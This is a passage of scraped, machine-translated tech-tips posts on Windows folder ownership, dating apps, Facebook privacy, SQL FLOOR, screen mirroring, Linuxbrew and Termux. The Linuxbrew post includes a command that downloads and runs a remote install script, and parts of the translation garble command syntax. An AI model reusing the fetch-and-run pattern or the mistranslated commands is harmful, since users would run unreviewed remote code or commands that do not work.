Names button. Finally click OK to see Advanced Security Settings.\n  Step 6:\nFinally, select the Replace owner option on subcontainers and objects . Click Apply to master your directory.\n  You can now access and open the folder without errors.\n2. Add the Take ownership option to the context menu on Windows 10 The above is the steps to master files and folders on a Windows 10 computer. However, if you don't want to spend a lot of time on the process, you can add the Take ownership option to the context menu (click menu). right) to master files and folders on Windows 10 faster.\nFollow the steps below:\nStep 1:\nFollow the steps in this article to add the Take Ownership option to the context menu.\nStep 2:\nRight-click the folder you want to master, then select the Take Ownership option.\n  From now on you can access or open the folder without error ' You have been granted permission to access this folder. Để lấy truy cập truy cập vào thư mục này, bạn cần phải dùng tab security\n3. Using TakeOwnershipEx utility   There are many third-party utilities that allow you to enable mastering of files and folders on Windows operating systems. One of these utilities is TakeOwnershipEx.\nDownload TakeOwnershipEx to your device and install it here.\nTo master a file or folder, run TakeOwnershipEx , then click Take Ownership and select a file or folder you want to own.\nRefer to some of the following articles: 5 ways to share files and folders from OneDrive in Windows 10 Collection of the best free online data storage websites today Complete how to use all backup and restore tools on Windows 10 Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWaema22r7OMnqmrp6Koerq71Gafmq6VYq%2Bmsc1mm56mmZqxbrzEq6Siq6OevK9506hkmpuTmsC0edOhoKxllqS5pbHRZqanZaeeu6W71qxkamg%3D\n","link":"/post/you-have-been-denied-permission-to-access-this-folder-on-windows-10/","section":"post","tags":null,"title":"'You Have Been Denied Permission To Access This Folder' on Windows 10"},{"body":"The best way to connect with someone is to go out and find a place to meet friends. However, with the development technology, there are many dating applications that can help the girls, the FA is busy finding the other half. This article will introduce you to the best dating apps, notes and find friends all over the place.\nThe best Android apps 2017 1. Eventbrite Eventbrite is a local event app, find events that take place in your area. With this application, users can do things like buy tickets for events to come. It also comes with Android Pay support, Android Wear and offers lots of information. This is a great event finder app to find fun places and connect new people.\n  Download : Eventbrite (Free)\n2. Bumble Bumble is a dating app, it does the job as a matchmaking app. The application will prioritize the woman who decides who she will talk to. Bumble also has different rules depending on whether the relationship is opposite sex or the same sex. This is reliable app for women, although men will have a harder time to find people because they can not start anything before.\n  Download : Bumble (Free, in-app purchases)\n3. Blendr Blendr is a blend of location-based dating apps. The application uses location services on the user's phone to complete notes with people with similar interests.\n  Download : Blendr (Free, in-app purchases)\n4. Coffee Meets Bagel Coffee Meets Bagel is a cute dating app. Every day at noon you will receive a short list of people around you that match your interests, choose to join them or ask them to meet you. Like the Bumble app, men will have to wait to be chosen, it also has different rules for the LGBT community.\n  Download : Coffee Meets Bagel (Free, in-app purchases)\n5. Down Dating Down Dating is the app that combines Tinder and CMB. Every day, users will receive a list of people near them, choose who likes and who doesn't. When two people attract each other, they will have a private chat room to chat with. The app uses a dual anonymity system that you might like someone and they won't know unless you like it again. This helps keep the gender balance. The application is problematic and many people are not satisfied with the in-app purchase structure, however, it's worth a try.\n  Download : Down Dating (Free, in-app purchases)\n6. Facebook It's amazing how Facebook is a great dating app. It can do a lot of things like watching local events that interest you and your friends, good for meeting many people. When meeting people, make friends on Facebook and then use Facebook Messenger to chat. Another advantage of using Facebook is that you can know their identity quite quickly. There are tons of online dating sites, but most of them don't have a high success rate as introduced from friends. Please use Facebook smartly.\nConnect with friends on Facebook   Download : Facebook (Free)\n7. happn Happn is an interesting geographic application, it works by tracking the user's GPS on the move in a day, then showing the people that have met on the road. It also keeps a count of times to touch a person for a long time. When two people are compatible, they will be allowed to chat. Users will pay a certain fee for some of the app's functions, however, this is a fun way to see if you accidentally meet someone one day and start a conversation with them.\n  Download : happn (Free, in-app purchases)\n8. Google Maps Google Maps is probably the best way to find places around you like bars, concert venues, clubs and other recreational activities. After that, you can start your trip to these locations to meet people.\nGoogle Maps and 8 useful tips you should know   Download : Google Maps (Free)\n9. Nearify Nearify is another application that helps users find fun places. It supports over 200 cities worldwide and all types of events taking place there. Users can share events, receive notifications to not miss anything. While the setup is complex, but using the app for a while, it will 'learn' the content you like and offer great suggestions to get out and meet new people.\n  Download : Nearify (Free)\n10. Tinder Tinder is a popular online dating app, swipe right to like someone, swipe left to skip. If someone likes you again, it is a compatible object and the user will receive a message then will start a conversation.\n  Download : Tinder (Free, in-app purchases)\nncG1vNJzZmismaXArq3KnmWcp51kfnF5w5qroqaXYq6xvNJmnaiqXZy2s7jSZpinnF2XvLq%2FjKyfqK2cmXqvu9NmpKKro2Kzog%3D%3D\n","link":"/post/10-dating-apps-for-girls-and-boys-should-not-miss-fa/","section":"post","tags":null,"title":"10 dating apps for girls and boys should not miss FA"},{"body":"Today TipsMake.com would like to send to readers the collection of 50+ best Facebook cover photos that we have collected. Hope you can choose a suitable photo for your personal page to look better.\n    Sad cover photo 669x292\n  cover photo 850x315\n  Beautiful cover photo 850x315\n  facebook cover image 843x315\n  sad facebook cover photo 800x300\n  facebook cover photo for thin people 851x315\n  Very cool facebook cover photo 851x315\n  facebook cover photo learning 850x315\n  Anh anh facebook dep 851x315\n  Beautiful facebook cover photo 1023x379\n  most unique facebook cover photo 962x354\n  Unique facebook cover photo 851x315\n  strange facebook cover photo 851x315\n  Union Facebook cover photo 960x363\n  facebook cover photo LOL 960x363\n  Cool facebook cover images 850x315\n  troll facebook cover photo 851x315\n  narrative facebook cover photo 960x355\n  Funny facebook cover images 851x315\n  meaningful facebook cover photo 850x315\n  facebook cover photo 640x271\n  hegemony cover photo 851x315\n  England beer three knives 852x315\n  cover photo of fb cover 1024x379\n  sad fb cover photo 850x314\n  anh bia fb chat 640x237\n  85bx315 cover photo\n  Awesome cover photo of 851x369\n  Mr Bia chat FB 843x315\n  Very unique fb cover photo 851x315\n  brother beer cuc doc 850x315\n  Cute fb cover photo 660x244\n  deadpool cover photo 851x315\n  black cover photo 843x315\n  cover photo handsome fb 640x237\n  Beautiful fb cover photo 852x315\n  Unique fb cover photo 640x237\n  Simple fb cover photo 851x315\n  Funny fb cover photo 852x315\n  fb or 960x355 cover photos\n  cold cover photo fb 851x315\n  Cool fb cover photo 851x315\n  cover photo of love fb 850x315\n  Brother Beer FB Troll 843x342\n  cover photo of fb troll 852x315\n  cover photo of fb troll 852x315\n  meaningful facebook cover photo 564x209\n  cover photo fb 852x315\n  Very good facebook cover 850x315\n  The cool facebook cover 851x315\n  facebook cover 850x315\n  Very cool fb cover 850x315\n  Beautiful fb cover 851x315\n  Collection of cover images fb 1012x337\nThank you for watching!\nncG1vNJzZmismaXArq3KnmWcp51kgnF5wZ6qrWWWlrCmrs6oomabn6uys3nPoaatp6M%3D\n","link":"/post/50-best-facebook-cover-photos/","section":"post","tags":null,"title":"50+ best Facebook cover photos"},{"body":"Facebook has a lot of cool features, besides updating your friends' news, chatting with friends, you can also live stream Facebook to play your favorite videos, games or tricks, and sell on. Facebook, . For some reason, you want to be anonymous on Facebook, work silently without your friends knowing when you are online, maybe not like to receive friend requests from people. strange or messages from long-term acquaintances. Many people simply use Facebook to contact, but do not want others to know anything about themselves, to hide activities on Facebook is not too difficult. Today we will introduce you to 2 ways to completely stealth on Facebook. Please consult.\nWith some basic privacy editing steps, Facebook users will get rid of being bothered by unwanted people.\n  Method 1: Anonymize on Facebook through settings (This is not really optimal, if you need more, see Method 2: use the app)\nIf you want to 'hide' completely on Facebook , you can follow the steps below. Once completed, no one else can see all your Facebook activities, view your photos and notes. Facebook friends only see personal pages with your basic activity information empty.\nWays to access Facebook safely and quickly To get started, go to the Privacy section of your account at the link below:\nhttps://www.facebook.com/settings?tab=privacy Or go to the Settings section of the account:\n  To change your privacy, you must always click on the 'edit' button to the right of each setting. After making changes, click the 'close' button.\n  Click Edit or Public to change options\nThe easiest way to hide your identity is in the 'Who can see my stuff' section , from the drop down menu, select 'Only me' (only me). Your future posts will not be seen by anyone:\n  Next, you can block friend requests from strangers by changing the 'Who can send you friend request' setting (who can send a friend request to 'Friends of Friends' (your friend). Thus, only those who are friends of your acquaintances can submit friend requests.\n  You can also limit who can send you Facebook messages. Select 'Strict Filtering' to stay away from unexpected messages.\n  In order for people to be unable to search for you by phone number or Facebook registration email, select 'Friends' in the 'Who can look me up' setting (who can search for me).\n  The next step is very important. Most people just use Google or another search engine to find your Facebook account. In the settings section 'Do you want to search engines to link to your Timeline' (do you want other search engines to link to Timeline), uncheck the 'Let other search engines link to your timeline' checkbox.\n  \nAfter you are done with the privacy settings section, switch to 'Timeline and tagging'. This item is located directly under ' Privacy Settings' on the left side of the screen.\n  You use the same technique above in this section. Click 'Edit' to edit and then click 'Close' after finishing. Remember, select 'Only Me' whenever possible. Without this option, 'Friends' is the second best option.\n  Repeat the steps above, the final result of the settings page will look like the image below. Next, process the 'Apps' section under 'Timeline and tagging'.\nLink to the Apps section To disable the ' App Platform' , forcing the application to not be able to access your personal information, simply click 'Edit' and turn it off.\n  Or go straight to this link After turning off, switch to 'Facebook Ads' under 'Apps'. ( or this link )\nStart editing by clicking the 'Edit' button next to each setting.\n  Method 2: Stealth on Facebook with J2TeaM Security Editing Facebook's settings only helps you ensure some privacy on this social network. You cannot turn off the Seen / Viewed feature, . is Typing / Typing when chatting, commenting, online time, check-in location and more. Also, you want to block phishing sites, see who is online without letting them know, .? In short, you only need to install J2TeaM Security.\nDownload J2TeaM Security Install J2TeaM Security on Chrome Click on the icon of the application on Chrome (the one highlighted in red in the picture), select the features you want    Right-click on the icon, select Tools, you will have a bunch of other features such as Facebook security check, see who is online on Facebook, see Facebook emoticon list, .   In addition, this application also includes a paid version, you click on the red background white cat in the right corner (appears when clicking on the app icon on the browser) to see more.   Note:\nThe application is regularly updated and adds new features Application language is displayed in Chrome's language, if you want to use Vietnamese, just change the language from the application, restart Chrome. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51krq%2B7zbKkqK2jYryvecWamp6an6S4brTInZxmmZOptre106KcrGWfo3qnrcKemainm2KwsLnPpZytnZyueqq61aKqopqcmg%3D%3D\n","link":"/post/anonymous-on-facebook-hide-activities-on-facebook-completely-invisible/","section":"post","tags":null,"title":"Anonymous on Facebook, hide activities on Facebook, completely invisible"},{"body":"This article will show you in detail how to use the FLOOR () numerical processing function in SQL Server with specific syntax and examples to better visualize and capture functions.\nDescribe The FLOOR function in SQL Server returns the lower bound value of the number or expression, ie returns the largest integer value but less than or equal to the transmitted numeric expression.\nSyntax To use the FLOOR function in SQL Server, we use the following syntax:\n FLOOR(number)  Parameters :\nnumber: the number passed to find the largest integer value. Note :\nSee more CEILING and ROUND functions. The FLOOR function can be used in later versions of SQL Server: SQL Server 2017, SQL Server 2016, SQL Server 2014, SQL Server 2012, SQL Server 2008 R2, SQL Server 2008, and SQL Server 2005. For example Take a look and explore some examples of FLOOR functions in SQL Server.\nSELECT FLOOR(5.9); Result: 5 SELECT FLOOR(5); Result: 5 SELECT FLOOR(34.29); Result: 34 SELECT FLOOR(-5.9); Result: -6 SELECT FLOOR(-5); Result: -5  Previous article: COUNT function in SQL Server\nNext lesson: MAX function in SQL Server\nncG1vNJzZmismaXArq3KnmWcp51ks627zqtkn62emMGqu81moKdlo6a5br%2FEq62eqg%3D%3D\n","link":"/post/floor-function-in-sql-server/","section":"post","tags":null,"title":"FLOOR function in SQL Server"},{"body":"Previously, only Samsung Galaxy owners and those who received the invitation to join the closed beta version can play Fortnite on Android devices.\nBut today, Fortnite for Android has officially opened the open beta version. This means that any Android user who likes Battle Royale on Fortnite can participate in this battle without an invitation.\nHowever, users will not be able to download this game to the device via Android's app market because Fortnite still says no to Google Play Store. The reason for this is because Epic Games wants to connect directly with their users and does not want to share 30% of revenue with the Play Store app market. Not only Play Store but Steam has been ignored by Sweeney for the same reason.\n  In order to participate in the open beta version, users must access the game website according to the link below on Android device and download the individual installer by browser, or scan QR Code.\nhttps://www.epicgames.com/fortnite/en-US/mobile/android/get-started See more:\nHow to install Fortnite game on Android phones How to download and play Fortnite on Samsung devices Multi-platform Fortnite playing guide ncG1vNJzZmismaXArq3KnmWcp51ks7C%2B06egrZ1dpLOntcKimKWkqWK8sbHNnptmrJiaerC8xKdkm52klnq3sdGsoKimXZa5rXnAp5urp5mZera%2FxKuqZpuRo3qlu9ano6iZlGKur7CMnq%2BpnaKesq%2BvxA%3D%3D\n","link":"/post/fortnite-officially-opened-the-open-beta-version-all-android-users-can-download-and-experience/","section":"post","tags":null,"title":"Fortnite officially opened the open beta version, all Android users can download and experience"},{"body":"Facebook Dating or Facebook Dating as soon as you launch and update the secret pairing feature Secret Crush has created a new space for extremely interesting friends with young people. Each person will create their own Facebook Dating profile with their Facebook account, providing their own basic information to Facebook Dating to recommend people with similar interests, or the same location.\nWhen you want to make friends with someone, press Like to chat with them. The messaging interface is also completely separate from the Messenger interface, managed in a separate section. And while using Facebook Dating you may not want to use the old profile and want to create a new dating profile, or do not want to use the Facebook Dating feature, you can easily delete your Facebook Dating profile.\nHow to block Facebook friends, hide the Friend button and Follow button on Facebook Instructions for connecting friends on Facebook Messenger with Code How to see what your lover is doing on Facebook How to check Facebook user information and activities Video tutorial to delete Facebook dating profile Instructions for deleting the Facebook Dating profile Step 1:\nAt the Facebook Dating interface, click on the menu icon in the top right corner to enter the feature's installation interface. Switch to the Dating settings interface, scroll down to find the Dating account section and see options to set up a user's dating profile. Here are 2 options: Pause Pairing and Delete Profile.\n   Step 2:\nIf you still want to keep this Facebook dating profile , but don't want Facebook to send a pairing notice , or people who like you because of filling out the notifications list, activate Pause pairing .\nWhen the user receives a notification that the pairing is stopped, the previous conversation with Crush is paired, or the sympathetic person is still retained in the Profile view, press Pause to turn on .\n   Step 3:\nTo completely delete dating profiles we click on Delete Profile . Then the application offers 2 different options, also click Delete profile .\nYou get a notification from the application that all information of the current dating profile disappears, including messages sent to someone you like or Crush secret. Be sure to delete, then click Delete .\n    Soon the profile disappears and the heart icon Dating is no longer displayed in the toolbar below as originally. The user is taken to the interface for creating a Facebook Dating account for the first time.\n    So we successfully deleted the previous Facebook dating profile to create a new dating profile. The steps to create a new profile are the same as when you first created the profile. Facebook Dating does not limit the number of deletions and create new dating profiles.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyVobK1sYyfmJydkqS8rHnDmquippdivbO7xaKjnqtdmL%2BmrdOeZKedp2Kzoq%2FEm6aoo12ZrrW1zaA%3D\n","link":"/post/how-to-delete-facebook-dating-profiles-create-new-facebook-dating/","section":"post","tags":null,"title":"How to delete Facebook dating profiles, create new Facebook Dating"},{"body":"Normally, Skype only allows chatting with one person on one window at a time, but it will be difficult to observe. Is there any way to chat at the same time with many people on different windows for easy access? Please join us to learn how to open multiple Skype chat windows in the following article\nHow to block messages and calls on Skype Instructions to fix Skype do not show online status Instructions to retrieve Skype password Step 1 : Open Skype, on the toolbar, click on the View menu, select Split Window View .\n  Step 2 : Now, you just need to click on any account in the directory, the chat frame will automatically split into separate windows. The main interface will only display contacts.\n  Step 3 : If you want to return to Skype interface like at first, click on View menu on the toolbar, select Single Window View .\n  Very simple but convenient, isn't it? Now you can comfortably chat with many friends at once.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqegmrtuudSlq6KonJp6pLTArWSwoZ6ZvLi%2FjKilZqubrr2m\n","link":"/post/how-to-open-multiple-chat-windows-on-skype/","section":"post","tags":null,"title":"How to open multiple chat windows on Skype"},{"body":"Not often, but sometimes you will need to project your Android screen on your computer for a number of reasons, such as want to record the screen, play a computer game, watch a movie or video on a larger screen or even present it About a document directly from your Android device.\nWhatever the reason, projecting an Android screen on a PC is easy. In case you don't know how, here are a few applications that allow you to project your Android screen on a PC.\nAll applications have a free version that does not require ROOT and is compatible with both PC and macOS (except for application # 2).\nNo screen projection application allows you to play high-end motion games on a computer screen, whether connected via USB or via Wi-Fi. The author has tested a lot of applications and some of them are outdated, except chromecast. But for basic screencasting needs such as presentation or demo applications, these applications will still be useful.\n8. Vysor   Vysor is a relatively new application for projecting screens or even controlling Android devices from a PC or Mac. Unlike other applications, Vysor uses Chrome applications to transfer Android device screens to computers. Some other features of Vysor include screen capture capabilities, the ability to control Android devices with keyboard and mouse, etc.\nHow does it work? Working with Vysor is very simple. Just visit the official website, install the Vysor Chrome application, then install the Vysor app on Android, connect the device to the computer via USB and launch the Vysor application in Chrome. And now you have successfully screened the Android screen on your computer.\nAdvantages Installation is quick and easy to use. And you can control the Android screen from your computer.\nDefect The free version only works with USB cable, does not support WiFi. Although there is no watermark, this app will display video ads every 30 minutes or so.\nThe bottom line The free version of Vysor has some limitations on features, but it is still good to use a USB cable to connect Android and Computer. Although this application is quite stable, we do not recommend using a USB connection because there are other better options.\nLink download: http://www.vysor.io/\n7. Use the Connect application in Windows 10   If you are using a Windows 10 computer that has the Miracast application installed with Aniversary update, you do not have to use any third-party applications to transfer the Android screen to a computer. You can use the integrated WiFi direct option, similar to the way you connect Android to Chromecast on TV.\nYou can see more How to display Android screen on Windows 10 with Miracast and Connect\n6. Mobizen   Mobizen is one of the complete applications that not only project Android screen to computer, but also allows screen recording, control, screen capture and live streaming from browser or standalone software on PC. This application is like Vysor but better because it allows you to control the device remotely by connecting via USB cable, over WiFi network and even on mobile data.\nHow does it work? Install Mobizen application on Android device and create a free account. Now, visit the official website from the computer, log in with the same login information on Android. In the next screen, you will see 6 OTP digits, enter that code into your Mobizen Android application and the application will work.\nAdvantages Support screen projection via WiFi and mobile data, even in the free version. The application also works directly on the browser without having to install any application on the computer.\nDefect The free version comes with a watermark.\nThe bottom line If you are trying to play a game or want to present an interactive presentation from your Android mobile phone, Mobizen is suitable for you. Not only that, this application even allows you to share files between your Android device and your computer with just drag and drop.\nDownload link: https://www.mobizen.com/\n5. Screen Recording and Mirror AllCastRecevier   Surprisingly, this application was made by the same developer ClockworkMod, who created the Vysor application - the first application on this list. So, this is one of those applications that allows you to easily transfer your Android screen to your computer without any complicated configuration.\nHow does it work? Screen Recording and Mirror settings on Android smartphones or tablets, followed by installing the AllCast Receiver Chrome application on the computer and launching it. Now, open the Android application, the application will automatically detect all transceivers that are running on the same network. Just touch it and the Android screen will be projected on your computer's Chrome application.\nIf the All Cast is not detected on Windows, make sure the Windows firewall has been disabled or set an exception rule. On MacOS, this application will work best.\nAdvantages Not only can the application transfer Android screens to computers, but it can also be transferred to Fire TV, Apple TV and even support Android streaming to Android via the AllCast Receiver app from Play Store. Moreover, the application also supports screen recording and allows you to create GIFs from screen recordings.\nDefect There are Watermark and ads in the free version.\nThe bottom line The application is quite perfect if you don't care about the watermark. It is very useful, if you want to project Android screen on Apple or Fire TV or even on other Android devices.\nDownload link: https://play.google.com/store/apps/details?id=com.koushikdutta.mirror\n4. Screen Stream Mirroring Free   Screen Stream Mirroring Free is the best application to project Android screen to computer via WiFi. However, it will only work if both the computer and Android use the same WiFi network and do not support mobile data or USB. Free application (ad supported) and no watermark on the screen. In addition to the screen projection option on the web browser, you can also play on VLC and Kodi media players, etc.\nHow does it work? Install Screen Stream Mirroring application on Android smartphone or tablet and open it. Next touch the three horizontal lines at the top left to display the streaming options and then touch the Web Browser option. It will provide the IP address, enter that address into the web browser and the screen projection will begin.\nAdvantages There is no watermark on the screen. The application works on all operating systems with web browsers or VLC installed. In addition, with screen recording function, the application can also transmit sound from the internal mic, although the quality is not very good.\nDefect There are video ads and show time limits.\nThe bottom line The screen projection application works quite simply, without a watermark and has all the features you need. Because it works in the browser, you don't have to configure firewall settings as in the Allcast application. However, there are ads appearing in the free version.\nDownload link: https://play.google.com/store/apps/details?id=com.mobzapp.screenstream.trial\u0026amp;hl=en\n3. Apowermirror   This is a relatively new application. And unlike all other applications in this list, Apowermirror not only allows you to project Android screen on your computer, but also allows you to completely control Android smartphone from your computer. No Root required.\nHow does it work? Install ApowerMirror - Mirror \u0026amp; Control app on Android smartphone or tablet and open it. Next, install Apowermirror PC suite on PC. Now, open the software and connect Android to the PC with a USB cable and follow the instructions. You will have to turn on USB Debugging from Developer settings.\nAdvantages There is no watermark on the screen. Fully control the Android screen from PC. And the app also provides advanced options like screenshots and recording, and so on\nDefect The app forces you to create a free account to use more features. And after 3 days of account creation, the app will force you to pay $ 29.95 / year to use all features, including screen projection. This app also works on Wi-Fi but that's not very good.\nThe bottom line The application has no watermark and has many useful features. However, its price is too high, so we do not recommend using this application, although in the free version, the screen capture feature is quite good.\nDownload link: https://play.google.com/store/apps/details?id=com.apowersoft.mirror\u0026amp;hl=en\n2. Airdroid (Recommended)   This is the best way to project your Android screen on any computer. Why? Because all of the above methods have to be paid, there are not really effective ads or activities. Airdroid overcomes all the above disadvantages.\nHow does it work? Not many people know that it can be used to project a screen because this feature is hidden in the user interface. First, download the Airdroid app from Google Play Store and open it. Now you can create a new account or click Not now. The application will give you the IP address, enter that address into your computer browser and you will see the Airdroid web user interface. Next, click the screenshot icon and you will see your Android screen. There is also a full screen option.\nAdvantages This feature is free, works on all platforms and has no large ads or watermark on the screen. In fact, it can work even without WiFi, which no other application on this list can do.\nDefect You cannot use the Airdroid screen copy feature for high-end motion games on your computer. But this can be done with Chromecast.\nThe bottom line This is the best solution for screen projection.\nLink download: https://play.google.com/store/apps/details?id=com.sand.airdroid\u0026amp;hl=en\n1. TeamViewer (Recommended)   Finally, you can use Teamviewer application to project the Android screen on your computer. Just like Airdroid, it's completely free, works on all platforms and has no annoying ads.\nHow does it work? Just download TeamViewer Host on Android and log in or create a TeamViewer account. This will assign the Android device to the TeamViewer device list. Next, on the computer, visit login.teamviewer.com and log in to the same TeamViewer account. You will see the Android device there, click on the connection option next to that device. This will launch the Teamviewer application on the computer and the screen is ready to be projected.\nAdvantages Free, works on all platforms and has no large ads or watermark on the screen. You can use remote to present or troubleshoot problems on parents' Android smartphones.\nDefect Flawless. This application is better than all applications that are on this list.\nDownload link: https://play.google.com/store/apps/details?id=com.teamviewer.host.market\u0026amp;hl=en\nHope the above suggestions will be helpful to you. Comment on the app you like best below!\nSee more:\nProjecting Android screen on TV: Extremely easy 8 ways to project your phone screen on a television 'Turn' Android phone into a display with iDisplay 10 best Android emulator software for Windows How to install Android on a Windows computer without software emulation ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqiipLemr9NmmKdlkaOxs7vInWSsm6Kasq95zqdkmmWTpLqxwdOeqQ%3D%3D\n","link":"/post/how-to-project-an-android-screen-on-a-computer/","section":"post","tags":null,"title":"How to project an Android screen on a computer"},{"body":"For a long time, Homebrew is a useful tool, but only for Mac users. The application adds package management features in Linux style, allowing users to easily install command line utilities. Now, with version 2.0.0 or higher, this application is no longer reserved for Macs.\nHomebrew is available to both Linux users and Windows users thanks to Windows Subsystem for Linux , but there is an important difference in the name. On Linux systems, this application is called Linuxbrew.\nInstall and use Homebrew on Linux and Windows Why use Homebrew instead of the distribution package manager? System requirements Install Linuxbrew dependencies Install Linuxbrew Use Linuxbrew Why use Homebrew instead of the distribution package manager? There are several reasons users want to choose to use Linuxbrew instead of the standard package manager of the system. First, users do not need to use the sudo command to install packages. Users do not even need root access to install Linuxbrew. Packages are installed in the user's home directory or home directory dedicated to Linuxbrew.\n  Another reason to use Homebrew or Linuxbrew is that users can use the same package manager on different systems. In this case, there is no need to remember separate commands for Ubuntu, Mac and Windows.\nSystem requirements On the Linuxbrew part of Homebrew website, some system requirements are listed (most relatively modern systems will not have any problems in meeting these requirements):\nGCC 4.4 and above Linux 2.6.32 or higher Glibc 2.12 or higher 64-bit CPU x86_64 There is no support for 32-bit systems at this time, so if you are running an old system, unfortunately you are out of luck! There are also several dependencies to install.\nInstall Linuxbrew dependencies   For Ubuntu or other Debian-based systems, users can install everything Homebrew needs to run in a single command:\nsudo apt-get install build-essential curl file git  For Fedora, CentOS or Red Hat, use the following command:\nsudo yum groupinstall 'Development Tools' \u0026amp;\u0026amp; sudo yum install curl file git  Install Linuxbrew As with dependencies, users can install Linuxbrew with a single command. This command downloads and runs the installation script from Linuxbrew's GitHub repository:\nsh -c \"$(curl -fsSL [https://raw.githubusercontent.com/Linuxbrew/install/master/install.sh])\"    The Linuxbrew website advises users to run the following commands to add applications to the bash profile:\ntest -d ~/.linuxbrew \u0026amp;\u0026amp; eval $(~/.linuxbrew/bin/brew shellenv) test -d /home/linuxbrew/.linuxbrew \u0026amp;\u0026amp; eval $(/home/linuxbrew/.linuxbrew/bin/brew shellenv) test -r ~/.bash_profile \u0026amp;\u0026amp; echo \"eval $($(brew --prefix)/bin/brew shellenv)\" \u0026gt;\u0026gt;~/.bash_profile echo \"eval $($(brew --prefix)/bin/brew shellenv)\" \u0026gt;\u0026gt;~/.profile  In case the above commands do not work after logging out and returning to the shell, add the following line to '~ / .bashrc,' '~ / .zshrc,' or other related shell configuration:\nexport PATH=\"/home/linuxbrew/.linuxbrew/bin:$PATH  Now, users are ready to try using Linuxbrew to install the package. The installer recommends that users install gcc, so start with:\nbrew install gcc  Use Linuxbrew As seen above, the simplest command is brew install followed by the name of the package you want to install. To search for available packages, which Homebrew calls 'formula', users can use the brew search command followed by the package name. To display details of a particular formula, use the command to brew info followed by the name of the formula. Finally, the brew update command will update Linuxbrew as well as the installed formula.\n  If installing Linuxbrew is problematic, use the brew doctor command . If all is well, the command will report ' Your system is ready to brew '. If something goes wrong, the command will tell the user where to start troubleshooting. For more commands, see the Homebrew documentation at https://docs.brew.sh/.\nWishing readers a successful implementation!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqpu8yemaudp2LBsHnIp6qtmZyherS7xa2umqqVYryvecuipa6wXZa7pXnWoqWdp6eo\n","link":"/post/how-to-use-homebrew-to-install-software-on-linux-and-windows/","section":"post","tags":null,"title":"How to use Homebrew to install software on Linux and Windows"},{"body":"Android is a very capable operating system with more and more desktop access applications, but sometimes you want to do something on Android that can be as easy as a desktop computer.Fortunately, you can use Termux, it builds on an existing infrastructure and provides a command line environment that allows you to install real Linux applications on your Android device.\nWhy use Termux? In fact, there are some apps in Play Store that convert Linux applications into applications on Android.Unlike Termux, these applications make copies of Linux applications and 'Androidize' them.In contrast, Termux is a standalone Linux environment.Its programs (for all purposes) are exactly the same as Linux copies.This gives it some benefits that conversion applications don't have:\nConsistency - Linux applications that have been switched to Android must receive some kind of user interface.The user experience on Android depends very much on the efforts of those application developers.It is different in many cases.However, Termux applications are like Linux versions, from shortcuts to how you install them. Compact - Adding the \"Android code\" described above can cause problems for some applications.For example, the SSH client application on Android (the VX ConnectBot application shown below) is useful. However, except for some graphics screens, you still have to use the application in the command line interface as shown below, when compared to Dropbear available in Termux, it only heavy 396 KB (you should note that this is a non-MB KB), this SSH client is much more powerful and Dropbear also provides an SSH server to boot.   Properties in time - When the application is updated, you still have to wait for Android application developers to upgrade it.In contrast, Termux applications are relatively standard Linux packages, requiring less work.It can even be created automatically with desktop versions.You can access new features faster with Termux. Prices - Of course, the apps you buy from Play Store while using will incur related costs, but all applications in Termux are free. Download : Termux (free)\nUse Termux Before starting to learn how to use Termux, you need to be aware that Termux is a command line environment, it doesn't have a fancy user interface with buttons like you often see in Linux conversion applications. Other Android.\nThis is not only for basic Termux packages but also for its applications.You will not receive the latest version of LibreOffice.You need to have a certain understanding with the command line to install and use these programs.\nHowever, the program installation process is quite simple.Termux uses the same package installer available in Debian and Ubuntu Linux, called Advanced Packaging Tools (APT) .To see what applications are available, open Termux and type the following command:\napt list\n  You will then see a list of all the packages or software packages you can install.If you want to see details about a particular software just type this line and replace the word in square brackets with the application name:\napt show[ten cavalier]\n  It will display a brief summary of the package.The image illustrated above is the Emacs text editor application.Finally, to install, just type this command into:\naptinstall[ten cavalier]\n  After installation is complete, you can start the program by typing its name at the command prompt.The screenshot below shows the text editor application running after installation.\n  Now let's see some great utilities you can get through Termux.\nBasic Linux utilities This application will allow you to use basic Linux utilities to perform operations such as copying (cp command), moving files (mv commands), reading directory contents (ls command) and deleting ( command rm).\nNothing is you can not do with Android file management tool right?Yes, so is Termux, it contains the \"link\"command(ln).Termux is in the/data/data/com.termux/files/homedirectory, this is not the place to store your remaining files (usually / sdcard).But you can create new symbolic links in this directory (eg/data/data/com.termux/files/home/documentsto/ sdcard / Documents).\nThis will allow you to quickly navigate to those files.\n  File management commands in Termux can basically reduce the need to use separate file management tools unless they have additional features.The ability to create links between folders can also remove applications like Link Folder and it will save you time to root your phone to get this function.\nText editing application Termux provides recent versions for both major Linux text editing applications: VIM (v8.0, new and stable when writing) and Emacs (v25.2).The images below compare Emacs running in the terninal konsole command window interface on Linux (above image) and on Termux (pictured below).Notice the similarities.\n    Now, Android has a lot of similar text editing applications.And one of them does a good job of saving and opening text files, but some other applications don't have so many functions.\nEmacs and VIM are great text editing applications.You can even use Emacs as a file management tool, script writing application, Trello task management tool, music player or to play Minesweeper.\nAndroid text editors often have a key feature, with applications focused on compiling according to distraction-free mode, with apps that can preview Markdown or other formats, and have apps just for notes .The terminal-based editors above can meet these needs in a single program and it is available on desktop platforms.\nCommand line utility The Termux package includes some useful Linux command line utilities:\nGnuplot- a mathematical drawing program Imagemagick- a set of conversion and image editing tools P7zip - storage / decompression utility Unrar - a RAR format decompression tool Wget - a program to retrieve files on the internet via HTTP or FTP Usually if you need to perform the above functions, you will need separate standalone applications.Depending on the number of functions you need, even if an application handles all of the above storage formats and graphics, you still have to download some applications on your device.However, with the Termux package, you just need to run the above command line utilities to implement and they are really useful.\n10 most useful Linux commands Anyone should know these basic Linux commands Server Termux provides Linux web servers such as Apache and lighttpd.\nWhy do you want to run a web server on your Android device?In addition to programming, there are many applications today that are web applications.For example, if you are looking for a project management application that runs on your device, the \"root\" Android options seem a bit less.However, you can installnginx- PostgreSQL database, Python and use Taiga without having to register for a third party service or hosting service.\nDropbear in Termux provides an SSH server to log in to your phone / tablet and transfer files to a client. This is useful in case you want to exchange some files with another machine that doesn't want to use cloud services or doesn't want or can't install the driver to plug directly into the device. You can start the dropbear server for a while, use a client on Windows or MacOS, get what you need online and turn it 